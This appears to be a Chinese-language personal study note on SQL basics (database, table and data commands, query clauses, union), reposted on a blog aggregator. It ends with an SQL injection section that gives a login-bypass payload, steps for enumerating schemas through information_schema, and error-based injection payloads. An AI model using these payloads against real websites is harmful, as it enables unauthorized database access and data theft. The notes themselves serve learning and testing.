zoukankan      html  css  js  c++  java
  • sql笔记

    show databass 显示所有数据库
    show tables 显示当前数据库所有表

    use db_name(数据库名字);选择某个数据库
    desc table_name:展示字段信息;

    select 字段名 from 表名 (也可以写数据库名.表名)

    create 类 名
    字段类型有,int,varchar(100)char(10)text double
    二:数据库操作:
    增:
    数据库层面:
    创建数据库:create database db_name;
    数据表层面:
    创建数据表:create table
    table_name
    (字段一的名字,字段一的类型)
    (id int,
    name varchar(100)),
    charset utf8;
    添加字段:
    alter table (表名)table_name add (字段名字)column_type

    	数据层面:
    		插入数据:
    				inset into 表名
    				(column 1,column 2
    				values
    				(1,‘张三’ )
    删:
    	数据库层次:
    		删除数据库:drop databass db_name;
    	数据表层次:
    		删除数据表:drop table table_name;
    	数据层面:
    		删除数据:delete from table_name where 条件(例如学号=2);
    
    改:
    	数据库层面:	
    			alter database 数据库名字 charset 新的编码规则。
    	数据表层面:	
    		修改数据表名字:
    			alter table table_name rename new_table_name;
    		修改字段名字:
    			alter table table_name change old_column_name new_column_name column_type
    	数据层面:	
    		更改数据内容:
    			update table_name set column1 = value1,column2 = value2
    			
    			
    查询:
    	数据库层面:	
    		show database;
    	数据表层面:	
    		show tables;
    	数据层面:	
    		select 内容
    		[from]
    		[where]
    		
    		[group by]
    		[having]
    		[order by]
    		[limit]
    		
    	from:	
    		(1)内容为表达式或者固定的数据:
    			select 1;
    		(2)as
    			select 1 as one;
    		(3)from	
    			从哪里查就from哪里
    		(4)distinct
    			select distinct 字段1,字段2 ..from 表;
    	where:
    		where 后接条件
    		算术运算符
    		比较运算符	'='等于	'<>'不等于
    		逻辑运算符
    		模糊查找运算符:like '_'代替一个 '%'代替0个或者n个任意字符      
    		'_'
    		'%'
    		正则匹配运算符:regexp
    			https://blog.csdn.net/qq_36761831/article/details/82862135
    			
    	group by:
    		用所给字段进行分组
    		group by 字段1,字段2...;
    		
    	order by:
    		对前面的结果进行排序行
    		order by 字段1,【desc】...
    	
    	limit 子句:
    		对前面的查询结果进行一个限制输出
    		limit 起始行号,行数
    

    union 联合查询:

    	是一种结果纵向堆叠的查询;
    	举例:
    		information_schema库的重要性
    		(系统自带的库)包含所有表名和字段名---columns  tables
    		table_schema:库名
    		table_name:表名
    		column_name:字段名
    		
    		
    		
    		
    		
    	
    	普通SQL注入流程:
    		无waf防火墙:(网站应用防火墙)
    			测试发现有注入点:
    			某后端语句为:
    				select ****from 一个库里面的一张表 where id='用户输入'
    				
    				0' or 1=1--   --+   --   #  万能密码
    				
    				
    			step 1 测试字段数量:order by
    			step 2 爆库名字
    				select database()
    				show database;
    			step 3 爆表的名字
    				select table_name from information_schema.tables where table_schema=""
    			step 4 爆字段信息
    				select column_name from information_schema.columns where table_name=""
    			step 5 查询敏感信息
    				select 字段 from 表名
    			
    			
    			
    	报错注入:
    		updatexml()函数
    		extractvalue()函数
    		牵连个院里相似而且用的广泛,形式比较简单,推荐
    		id=1 and(or) extractvalue(1, concat('~' sql_inject)  ) #
    		and(or) updatexml(1, concat(0x7e,sql_inject), 1) # 
    		rand()+floor()
    		原理:利用group by 分组的性质报错
    		and(select 1from (select count(*),concat(sql,floor(rand(0)*2)x from information_schema.tables group by x)a);
    
  • 相关阅读:
    循序渐进Linux 1:Linux的基本结构
    Django通过中间件实现登录验证demo
    Django中简单添加HTML、css、js等文件(非正规添加,适合小白)
    数据库之MySQL
    前端之JQuery
    核心编程之第一章正则表达式
    前端之JS
    python基础面试常见题
    前端之CSS
    前端之HTML
  • 原文地址:https://www.cnblogs.com/Kuller-Yan/p/13060271.html
Copyright © 2011-2022 走看看